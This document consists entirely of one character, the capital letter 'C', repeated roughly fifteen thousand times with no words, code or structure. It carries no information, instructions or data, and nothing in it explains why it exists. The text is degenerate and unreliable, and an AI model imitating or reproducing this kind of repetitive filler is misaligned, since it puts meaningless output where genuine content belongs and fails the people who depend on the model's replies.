CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC